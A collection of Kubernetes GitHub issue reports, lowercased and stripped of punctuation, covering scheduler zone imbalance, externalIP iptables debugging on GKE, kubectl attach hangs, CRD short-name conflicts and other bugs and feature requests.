one selector for distribution. this creates imbalance   selector match code  https://github.com/kubernetes/kubernetes/blob/e20c15174e96957c4e1faf7822125c7d295316a4/pkg/scheduler/algorithm/priorities/selector_spreading.go l101  .\r pods from previous deploys matches  service selector  and are counted when distributing pods across zones/nodes  even though they do not match  replicaset selector   . these pods will be deleted. after the deploy completes, the cluster is imbalanced - by zone and/or pods per node.\r    \r service selector: {app:sd-status-staging}\r rc selector  {app: sd-status-staging,pod-template-hash: 4090075901}\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   problem 1:\r get pods to get scheduled on nodes with very high cpu utilization  existing cpu utilization + 1 new pod will result in  allocatable.millicpu  almost equal to 0 . \r generalpredicate will drop this node after scheduling the first pod. \r this will lead to over utilization of an already loaded zone. \r if there are enough nodes like this one, it will create a pile on effect resulting in most pods scheduled in an already loaded zone.\r \r   problem 2:\r have 2 selectors and deploy 30 pods across 3 zones. twice.\r    \r service selector: {app:sd-status-staging}\r rc selector  {app: sd-status-staging,pod-template-hash: 4090075901}\r \r expected distribution by zone: 10, 10 10.\r actual distribution by zone: 10, 8, 12  imbalanced cluster .\r    \r \r   anything else we need to know?  :\r \r \r   environment  :\r   kubernetes version  use  kubectl version  :\r \r    \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.8\ , gitcommit:\ 7eab6a49736cc7b01869a15f9f05dc5b49efb9fc\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:54:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r happens on master too.\r    \r  \r <!-- do not edit below this line -->\r 

as pointed out in  9803 to address  9721 we have situations where separate peieces of error information get conflated into one string which is troublesome when we just want one of the conflated items. for example, we have      type validationerror struct {     type     validationerrortype     field    string     badvalue interface{}     detail   string }      which stores the  detail in a separate filed e.g. may not update fields other than container.image  . later, when we need this information we appears in the field:      err.  errors.statuserror .status  .details.causes i .message      by which point it is conflated into the string:      '{volumes: {name:secret-volume volumesource: {hostpath:<nil> emptydir:<nil> gcepersistentdisk:<nil> awselasticblockstore:<nil> gitrepo:<nil>  secret:< > 0xc20a477cc0 {secretname:gh-secret} nfs:<nil> iscsi:<nil> glusterfs:<nil>  persistentvolumeclaimvolumesource:<nil> rbd:<nil>}} {name:default-token-04gjq volumesource: {hostpath:<nil> emptydir:<nil> gcepersistentdisk:<nil> awselasticblockstore:<nil> gitrepo:<nil>  secret:< > 0xc20a477cf0 {secretname:default-token-04gjq} nfs:<nil> iscsi:<nil> glusterfs:<nil>  persistentvolumeclaimvolumesource:<nil> rbd:<nil>}}  containers: {name:test-container  image:progrium/busybox command: sh -c mkdir /tmp/git; which git; cd /tmp/git; pwd; which git;   args: <nil> workingdir: ports:<nil> env:<nil> resources:{limits:map cpu:100m  requests:map  }  volumemounts: {name:secret-volume readonly:false mountpath:/etc/secret-volume} {name:default- token-04gjq readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount}  livenessprobe: <nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log  imagepullpolicy:ifnotpresent securitycontext:< > 0xc20964e020 {capabilities:< > 0xc20a0cd080 {add: <nil> drop:<nil>} privileged:< > 0xc20a477c3c false selinuxoptions:<nil> runasuser:<nil>}}   restartpolicy:never terminationgraceperiodseconds:<nil> activedeadlineseconds:<nil>  dnspolicy:clusterfirst nodeselector:<nil> serviceaccount:foo nodename:kubernetes-minion-z282  hostnetwork:false imagepullsecrets:<nil>}': may not update fields other than container.image      we should really avoid this conflation and try to keep the spec separate from the detail error message.  @mikedanese

forked from  137. /cc @dchen1107   client-initiated terminations are triggered by delete via the api. as discussed in  137, i'd like clients to be able to pass in arbitrary termination reasons, to facilitate ecosystem management extensions, as well as user-provided reasons.  i suggest a url parameter on delete: ?reason=myreason.  the apiserver would record this as the termination reason, regardless what kubelet reported when the termination actually occurred.  once we generate termination events, the reason should be visible there.  we plan to pass termination reasons to lifecycle hooks   1445 . this means we'll need a way to pass the reason to kubelet. i suggest implementing a \ deletion dance\ , which we've also talked about doing in the apiserver: rather than actually deleting objects, we should first put them into a deleting/terminated state, so that clients can observe their final state. the reason could be passed this way.   of course, objects eventually need to be deleted, and there's always a chance that some clients may not have observed the final state. we still need to handle that, but we should ensure it doesn't happen often. think of this as a declarative graceful termination.  see also  1370.

after installing the kubectl bash completion  as well as  bash-completion  via homebrew and the appropriate changes to my bash profile  i've been getting this error every time my bash profile is sourced:\r \r  -bash: have: command not found \r \r unfortunately this 'have' command is extremely difficult to google, although the kubectl completion seems to work even without it.\r \r   kubectl version:  \r    go\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-14t04:09:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r

to reproduce it:\r \r 1. have a deployment with deadline seconds specified, wait for it to be complete \r 2. update its pod template to use a bad image \r 3. the deployment is still complete even after  progressdeadlineseconds  has passed, with status.type=progressing, status.status=true, status.reason=newreplicasetavailable\r 4.  kubectl rollout status  shows the deployment is still progressing  not failed or complete \r \r @kargakis

what keywords did you search in kubernetes issues before filing this one?  : iptables, externalip\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r \r    \r build_id=9000.84.2\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r -   kernel    e.g.  uname -a  :  linux gke-dump-quotes-cluster-default-pool-46a2ccdb-c3wu 4.4.21+  1 smp fri feb 17 15:34:45 pst 2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux \r \r \r   what happened  :\r \r a kubernetes service  simple-http-server  with externalip 104.155.19.194  a static ip assigned to the node, a vm instance in google compute engine  is not reachable from the internet. from a remote machine,  curl  gives  1 :\r \r    \r remote $ curl -v 104.155.19.194\r   rebuilt url to: 104.155.19.194/\r     trying 104.155.19.194...\r   connect to 104.155.19.194 port 80 failed: connection refused\r   failed to connect to 104.155.19.194 port 80: connection refused\r   closing connection 0\r curl:  7  failed to connect to 104.155.19.194 port 80: connection refused\r    \r \r the request is not forwarded to the server pod  simple-http-server   2 :\r \r    \r $ kubectl logs simple-http-server\r serving http on 0.0.0.0 port 80 ...\r   empty log, should contain a line with the http get request from the remote machine\r    \r \r on inspecting  iptables-save -c  output on the node, it appears that iptables rules for the  simple-http-server  service are never matched  3 :\r \r    \r   add extra rules at both ends of table=nat chain=kube-services\r   to make sure that the chain kube-services is evaluated\r user@node $ sudo su\r root@node $ /sbin/iptables -t nat -i kube-services 1 -m comment --comment \ first\  -j log\r root@node $ /sbin/iptables -t nat -a kube-services -m comment --comment \ last\  -j log\r \r   send a tcp packet from the internet to the node\r remote $ curl -v 104.155.19.194\r \r   check counters\r root@node $ /sbin/iptables-save -c\r ...\r  1:60  -a kube-services -m comment --comment first -j log\r ...\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-d3vw4k5y3c7zxamc\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -m addrtype --dst-type local -j kube-svc-d3vw4k5y3c7zxamc\r ...\r  1:60  -a kube-services -m comment --comment last -j log\r    \r \r in fact, no rules in the chain  kube-services  are matched:\r \r <details> \r   <summary>full iptables-save -c output</summary>\r \r    \r   generated by iptables-save v1.4.21 on fri may  5 16:43:11 2017\r  nat\r :prerouting accept  11:782 \r :input accept  1:60 \r :output accept  3:180 \r :postrouting accept  3:180 \r :docker -  0:0 \r :kube-hostports -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-47tnmp3etz3hhnyp -  0:0 \r :kube-sep-f7dbmfc2ocqy4imx -  0:0 \r :kube-sep-gbcp4xxnpv7gvs5q -  0:0 \r :kube-sep-nqodauy3p24aq4ih -  0:0 \r :kube-sep-s6tim2rla6ezdlvr -  0:0 \r :kube-sep-xdr4heg3r2sn5tx4 -  0:0 \r :kube-sep-yxy2dlz7cweoah2t -  0:0 \r :kube-services -  0:0 \r :kube-svc-bjm46v3u5rzhcfrz -  0:0 \r :kube-svc-d3vw4k5y3c7zxamc -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-xgloha7qrq3v22rz -  0:0 \r :kube-svc-xp4wj6vslgwalmw5 -  0:0 \r  326:14820  -a prerouting -m comment --comment \ kube hostport portals\  -m addrtype --dst-type local -j kube-hostports\r  74401:4571377  -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r  1280:76852  -a output -m comment --comment \ kube hostport portals\  -m addrtype --dst-type local -j kube-hostports\r  10728:644890  -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r  84827:5202791  -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r  75888:4666399  -a postrouting ! -d 10.0.0.0/8 -m comment --comment \ kubenet: snat for outbound traffic from cluster\  -m addrtype ! --dst-type local -j masquerade\r  0:0  -a postrouting -s 127.0.0.0/8 -o cbr0 -m comment --comment \ snat for localhost access to hostports\  -j masquerade\r  0:0  -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r  0:0  -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r  0:0  -a kube-nodeports -p tcp -m comment --comment \ kube-system/default-http-backend:http\  -m tcp --dport 31287 -j kube-mark-masq\r  0:0  -a kube-nodeports -p tcp -m comment --comment \ kube-system/default-http-backend:http\  -m tcp --dport 31287 -j kube-svc-xp4wj6vslgwalmw5\r  0:0  -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r  0:0  -a kube-sep-47tnmp3etz3hhnyp -s 10.108.0.13/32 -m comment --comment \ kube-system/heapster:\  -j kube-mark-masq\r  0:0  -a kube-sep-47tnmp3etz3hhnyp -p tcp -m comment --comment \ kube-system/heapster:\  -m tcp -j dnat --to-destination 10.108.0.13:8082\r  0:0  -a kube-sep-f7dbmfc2ocqy4imx -s 10.108.0.14/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r  0:0  -a kube-sep-f7dbmfc2ocqy4imx -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 10.108.0.14:53\r  0:0  -a kube-sep-gbcp4xxnpv7gvs5q -s 10.108.0.10/32 -m comment --comment \ kube-system/default-http-backend:http\  -j kube-mark-masq\r  0:0  -a kube-sep-gbcp4xxnpv7gvs5q -p tcp -m comment --comment \ kube-system/default-http-backend:http\  -m tcp -j dnat --to-destination 10.108.0.10:8080\r  0:0  -a kube-sep-nqodauy3p24aq4ih -s 10.108.0.9/32 -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-mark-masq\r  0:0  -a kube-sep-nqodauy3p24aq4ih -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp -j dnat --to-destination 10.108.0.9:9090\r  0:0  -a kube-sep-s6tim2rla6ezdlvr -s 10.108.0.19/32 -m comment --comment \ default/simple-http-server:http\  -j kube-mark-masq\r  0:0  -a kube-sep-s6tim2rla6ezdlvr -p tcp -m comment --comment \ default/simple-http-server:http\  -m tcp -j dnat --to-destination 10.108.0.19:80\r  0:0  -a kube-sep-xdr4heg3r2sn5tx4 -s 10.108.0.14/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r  0:0  -a kube-sep-xdr4heg3r2sn5tx4 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 10.108.0.14:53\r  0:0  -a kube-sep-yxy2dlz7cweoah2t -s 104.155.82.172/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r  0:0  -a kube-sep-yxy2dlz7cweoah2t -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-yxy2dlz7cweoah2t --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 104.155.82.172:443\r  14:962  -a kube-services -m comment --comment first -j log\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.240.197/32 -p tcp -m comment --comment \ kube-system/heapster: cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.240.197/32 -p tcp -m comment --comment \ kube-system/heapster: cluster ip\  -m tcp --dport 80 -j kube-svc-bjm46v3u5rzhcfrz\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.246.244/32 -p tcp -m comment --comment \ kube-system/default-http-backend:http cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.246.244/32 -p tcp -m comment --comment \ kube-system/default-http-backend:http cluster ip\  -m tcp --dport 80 -j kube-svc-xp4wj6vslgwalmw5\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.240.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.240.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.243.164/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.243.164/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-svc-xgloha7qrq3v22rz\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.252.190/32 -p tcp -m comment --comment \ default/simple-http-server:http cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.252.190/32 -p tcp -m comment --comment \ default/simple-http-server:http cluster ip\  -m tcp --dport 80 -j kube-svc-d3vw4k5y3c7zxamc\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -j kube-mark-masq\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -m physdev ! --physdev-is-in -m addrtype ! --src-type local -j kube-svc-d3vw4k5y3c7zxamc\r  0:0  -a kube-services -d 104.155.19.194/32 -p tcp -m comment --comment \ default/simple-http-server:http external ip\  -m tcp --dport 80 -m addrtype --dst-type local -j kube-svc-d3vw4k5y3c7zxamc\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.240.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.240.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r  0:0  -a kube-services ! -s 10.108.0.0/14 -d 10.111.240.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r  0:0  -a kube-services -d 10.111.240.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r  5:300  -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r  14:962  -a kube-services -m comment --comment last -j log\r  0:0  -a kube-svc-bjm46v3u5rzhcfrz -m comment --comment \ kube-system/heapster:\  -j kube-sep-47tnmp3etz3hhnyp\r  0:0  -a kube-svc-d3vw4k5y3c7zxamc -m comment --comment \ default/simple-http-server:http\  -j kube-sep-s6tim2rla6ezdlvr\r  0:0  -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-xdr4heg3r2sn5tx4\r  0:0  -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-yxy2dlz7cweoah2t --mask 255.255.255.255 --rsource -j kube-sep-yxy2dlz7cweoah2t\r  0:0  -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-yxy2dlz7cweoah2t\r  0:0  -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-f7dbmfc2ocqy4imx\r  0:0  -a kube-svc-xgloha7qrq3v22rz -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-sep-nqodauy3p24aq4ih\r  0:0  -a kube-svc-xp4wj6vslgwalmw5 -m comment --comment \ kube-system/default-http-backend:http\  -j kube-sep-gbcp4xxnpv7gvs5q\r commit\r   completed on fri may  5 16:43:11 2017\r   generated by iptables-save v1.4.21 on fri may  5 16:43:11 2017\r  mangle\r :prerouting accept  415326:1355525575 \r :input accept  149483:1284807781 \r :forward accept  265841:70716866 \r :output accept  157334:20774679 \r :postrouting accept  423131:91490121 \r commit\r   completed on fri may  5 16:43:11 2017\r   generated by iptables-save v1.4.21 on fri may  5 16:43:11 2017\r  filter\r :input drop  0:0 \r :forward drop  0:0 \r :output drop  0:0 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r  123084:792265562  -a input -j kube-firewall\r  147784:1284711647  -a input -m state --state related,established -j accept\r  1281:76912  -a input -i lo -j accept\r  13:914  -a input -p icmp -j accept\r  33:1612  -a input -p tcp -m tcp --dport 22 -j accept\r  365:16080  -a input -p tcp -j accept\r  3:288  -a input -p udp -j accept\r  0:0  -a input -p icmp -j accept\r  265841:70716866  -a forward -j docker-isolation\r  0:0  -a forward -o docker0 -j docker\r  0:0  -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r  0:0  -a forward -i docker0 ! -o docker0 -j accept\r  0:0  -a forward -i docker0 -o docker0 -j accept\r  243713:68288474  -a forward -p tcp -j accept\r  22128:2428392  -a forward -p udp -j accept\r  0:0  -a forward -p icmp -j accept\r  132288:19420265  -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r  132497:19454551  -a output -j kube-firewall\r  157293:20773979  -a output -m state --state new,related,established -j accept\r  0:0  -a output -o lo -j accept\r  265841:70716866  -a docker-isolation -j return\r  0:0  -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r commit\r   completed on fri may  5 16:43:11 2017\r    \r \r </details>\r \r \r   what you expected to happen  :\r \r 1. the curl command from a remote machine  1  should print an html response from  simple-http-server .\r 2. the server pod should receive the request  2 .\r 3. iptables rules for the  simple-http-server  service should be matched and have non-zero counts.\r \r quoting https://kubernetes.io/docs/concepts/services-networking/service/ external-ips:\r \r if there are external ips that route to one or more cluster nodes, kubernetes services can be exposed on those externalips. traffic that ingresses into the cluster with the external ip  as destination ip , on the service port, will be routed to one of the service endpoints.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1.  create a gke cluster  https://cloud.google.com/container-engine/docs/quickstart .\r 2. assign the static ip to the vm instance.\r 3. start the  simple-http-server  service and pod:\r \r    \r remote $ kubectl create -f simple-http-server.yaml\r    \r \r 4. send a http request to the external ip from a remote machine:\r \r    \r remote $ curl -v 104.155.19.194\r    \r \r simple-http-server.yaml\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: simple-http-server\r   labels:\r     job: simple-http-server\r spec:\r   containers:\r   - name: simple-http-server\r     image: gcr.io/google-appengine/python\r     command:  \ python\ , \ -m\ , \ simplehttpserver\ , \ 80\  \r     ports:\r     - containerport: 80\r     securitycontext:\r       privileged: true\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: simple-http-server\r spec:\r   selector:\r     job: simple-http-server\r   externalips:\r   - 104.155.19.194\r   ports:\r   - port: 80\r     targetport: 80\r     protocol: tcp\r     name: http\r    \r \r \r   anything else we need to know  :\r \r   the problem is in the service:\r \r 1. the same  simplehttpserver  started manually on the node works fine:\r \r    \r root@node $ python -m simplehttpserver 80\r serving http on 0.0.0.0 port 80 ...\r \r remote $ curl -v 104.155.19.194\r   rebuilt url to: 104.155.19.194/\r     trying 104.155.19.194...\r   connected to 104.155.19.194  104.155.19.194  port 80   0 \r > get / http/1.1\r > host: 104.155.19.194\r > user-agent: curl/7.47.0\r > accept:  / \r > \r   http 1.0, assume close after body\r < http/1.0 200 ok\r < server: simplehttp/0.6 python/2.7.10\r < date: fri, 05 may 2017 16:25:33 gmt\r < content-type: text/html; charset=ansi_x3.4-1968\r < content-length: 813\r ...\r    \r \r 2. the server pod is reachable from the node both via pod ip and by service ip:\r \r    \r remote $ kubectl describe svc simple-http-server\r name:\t\t\tsimple-http-server\r namespace:\t\tdefault\r labels:\t\t\t<none>\r annotations:\t\t<none>\r selector:\t\tjob=simple-http-server\r type:\t\t\tclusterip\r ip:\t\t\t10.111.252.190\r external ips:\t\t104.155.19.194\r port:\t\t\thttp\t80/tcp\r endpoints:\t\t10.108.0.19:80\r session affinity:\tnone\r events:\t\t\t<none>\r \r node $ curl -v 10.108.0.19    pod ip\r   rebuilt url to: 10.108.0.19/\r     trying 10.108.0.19...\r   tcp_nodelay set\r   connected to 10.108.0.19  10.108.0.19  port 80   0 \r \r node $ curl -v 10.111.252.190    service ip\r   rebuilt url to: 10.111.252.190/\r     trying 10.111.252.190...\r   tcp_nodelay set\r   connected to 10.111.252.190  10.111.252.190  port 80   0 \r \r remote $ kubectl logs simple-http-server\r serving http on 0.0.0.0 port 80 ...\r 10.108.0.1 - -  05/may/2017 16:48:40  \ get / http/1.1\  200 -\r 10.108.0.1 - -  05/may/2017 16:48:52  \ get / http/1.1\  200 -\r    \r \r   the following iptables counters do increase by 1 after each curl  1  command:\r \r    \r  nat\r  67970:4113148  -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r  1:60  -a kube-services -m comment --comment first -j log\r  1:60  -a kube-services -m comment --comment last -j log\r  filter\r  151:6400  -a input -p tcp -j accept\r    \r \r   the service configured as above worked  was reachable from the internet  1-2 months ago. at some point since then, all pods in my node went missing  no rc / deployments . after recreating the pods, i couldn't get the service to work again.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   what happened  : the issue i am observing is that  clienset  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/admission.go l72  meant for  generic admission plugin  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/initializer/initializer.go  are always created from  loopbackclientconfig  . this can lead to a situation in which an admission plugin accepting  clientset  will be unable to talk to kube api server. the generic admission initializer can be used by an admission plugin that lives within an external api server i.e. federation. \r \r the situation resembles the one we  had  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/serving.go l201  with  sharedinformerfactory . back then we decided that  informers  will use in-cluster configuration by default. only kube api can \ force\  the usage of  loopbackconfig  for  informers \r \r   what you expected to happen  : i think the behaviour of  clientset  should be similar to the one that  informers  have. by default use in-cluster config, when forced use  loopbackconfig .

  \r   what happened  :\r pod was pending or in crashloopbackoff container state. not clear why until  kubectl get pod -o yaml  revealed this status:\r \r    \r   status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-09-07t11:43:02z\r       message: 'no nodes are available that match all of the following predicates::\r         nodeundermemorypressure  1 .'\r       reason: unschedulable\r       status: \ false\ \r       type: podscheduled\r     phase: pending\r     qosclass: besteffort\r    \r but the message is confusing.\r \r   what you expected to happen  :\r expected message to say something like \ failed to find nodes not under memory pressure. so maybe rename predicate to nodenotundermemorypressure  1  ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r run any cluster on machine with limited memory, such as 8gb.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : minikube\r - os  e.g. from /etc/os-release : fedora 26\r - kernel  e.g.  uname -a  :  4.12.9-300.fc26.x86_64\r - install tools:\r - others:\r

imagegcmanager  currently uses the imagefs stats from cadvisor during image garbage collection. this will not work for containerd, where such stats are provided via cri instead of cadvisor. we should change the  imagegcmanager  to get the stats from the  statsprovider , which abstracts away of cadvisor stats vs cri stats.\r \r  /assign\r /cc @random-liu

using  stdin  works:\r \r    \r $ cat p1.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: stdin\r spec:\r   containers:\r   - name: busybox\r     image: busybox\r     tty: true\r     stdin: true\r $ k attach -ti stdin\r if you don't see a command prompt, try pressing enter.\r /   \r /   \r /   session ended, resume using 'kubectl attach stdin -c busybox -i -t' command when the pod is running\r    \r \r using stdinonce does not:\r    \r $ cat p2.yaml \r apiversion: v1\r kind: pod\r metadata:\r   name: stdin-once\r spec:\r   containers:\r   - name: busybox\r     image: busybox\r     tty: true\r     stdinonce: true\r $ k create -f p2.yaml \r pod \ stdin-once\  created\r $ k attach -ti stdin-once\r if you don't see a command prompt, try pressing enter.\r /  \r    \r \r i have to  killall -9 kubectl  to recover.

is this a bug report or feature request?  :\r others\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/config/file.go l56  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/config/file.go l56 \r the function name new   is not standardized, so we should rename it.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r - installed a crd  destinationpolicy  with the short name 'svc': install went ok and  kubectl get svc  returned services\r - changed this crd short name to 'dp'\r - installed another crd  egressrule  with the short name 'dp': install was not so ok. status reported a conflict in the short name and  kubectl get egressrule  fails with the message  the server doesn't have a resource type \ egressrules\  \r - changed this  egressrules  crd short name to 'svc'.  kubectl get svc  returned egress rules!!\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1+0d5291c\ , gitcommit:\ 0d5291c\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t16:34:06z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r in test/e2e/storage/subpath.go, the tests with context \ atomic writer volumes\  are candidates to be added to the conformance suite.\r

